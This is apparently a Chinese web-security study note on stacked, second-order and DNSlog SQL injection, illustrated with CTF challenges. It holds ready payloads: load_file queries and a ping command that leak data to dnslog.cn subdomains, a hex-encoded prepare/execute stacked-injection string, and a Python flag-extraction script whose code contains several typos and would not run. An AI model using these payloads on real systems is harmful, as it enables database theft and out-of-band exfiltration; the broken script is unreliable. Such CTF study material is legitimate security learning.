Web学习30

Web

发布时间 : 2024-06-19 19:00

知识点
案例

知识点

1、数据库堆叠注入
根据数据库类型决定是否支持多条语句执行
2、数据库二次注入
应用功能逻辑设计上导致的先写入后组合的注入
3、数据库Dnslog注入
解决不回显（反向连接），SQL注入，命令执行，SSRF等
4、黑盒模式分析以上
二次注入：插入后调用显示操作符合
堆叠注入：判断注入后直接调多条执行
DNS注入：在注入上没太大利用价值，其他还行
DNS利用-平台介绍&SQL注入&命令执行等
1、平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
2、应用场景：
解决不回显，反向连接，SQL注入，命令执行，SSRF等
SQL注入：
select load_file(concat(‘\\‘,(select database()),’.7logee.dnslog.cn\aa’));and (select load_file(concat(‘//‘,(select database()),’.68knl9.dnslog.cn/abc’)))

命令执行：
ping %USERNAME%.7logee.dnslog.cn

案例

二次注入-74CMS&网鼎杯2018Unfinish
堆叠注入-数据库类型&强网杯2019随便注
DNS利用-平台介绍&SQL注入&命令执行等

根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型：MYSQL MSSQL ORACLE等
‘;show databases;
‘;show tables;
‘;show columns from ‘1919810931114514’;
‘;select flag from’ ‘1919810931114514’;
‘;SeT

select * from news where id=1;create table xiaodi like news;
堆叠注入：将后面的语句设计为一个SQL语句
相关文章：cnblogs.com/backlion/p/9721687.html
是否有堆叠注入的判断：
1、判断数据库的类型是否支持堆叠注入
2、注入的语句是否能成功执行

堆叠注入-数据库类型&强网杯2019随便注

当输入1的时候，看到了取出来一个haha值，没什么卵用

输入1;show databases，就把数据库的名字全都爆出来了

存在过滤，当输入1;select database();时select被过滤掉了

当输入1;show tables;得到所有的表

输入1;show columns from “1919810931114514”;得到下面的字段有flag

16进制编码mysql数据库是可以识别的，所以我们可以把原先的sql注入语句给16进制加密以下再赋值给某个值，再用堆叠注入拼接一下语句，就可以继续注入了

select flag from “1919810931114514”16进制加密后的结果是0x73656c65637420666c61672066726f6d20223139313938313039333131313435313422

最终的payload：1’;SeT @a=0x73656c65637420666c61672066726f6d20223139313938313039333131313435313422;prepare execsql from @a;execute exesql;

找回密码应用功能：
我们登录了一个用户，在用户的界面上有找回密码的功能
找回密码：
得到你的用户名（你要找回谁的密码）
没有登录用户，我点找回密码，是不是先要输入你要找的目标
如果登录了用户，一般网站就直接进入了验证过程（已经知道你是谁了）

接受获取你的用户名，修改密码（查询方式：update）
update sql
update user set password = ‘xiaodi’ where username = ‘SQL注入代码’

如果我在注册用户名的时候，写的是一个SQL注入的语句呢？

二次注入-骑士CMS&网鼎杯2018Unfinish

网鼎杯2018Unfinish

注册用户：添加
邮箱，用户名，密码
INSERT INTO user (emal.username,password) value (‘xiaodi@qq.com‘,’xiaodi’,’xiaodi’)

详细代码：

import requests
from bs4 import Beautifulsoup
import time

url= "http://xxxx"

m=''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag)from {} fro 1))+'0".format(i+1)"
    register = {'email': 'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email' : 'abc'{}@qq.com'.foramt(i),'password':'123456'}
    req = requests.session()
    r1= req.post(url + 'register.php',data = register)
    r2= reg.post(url + 'login.php',data = login)
    r3= req.post(url + 'index.php')
    html = r3.text
    soup = BeautifulSoup(html,'html.paraser')
    UserName = soup.span.string.strip()
    if int(UserName) == 0:
             break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)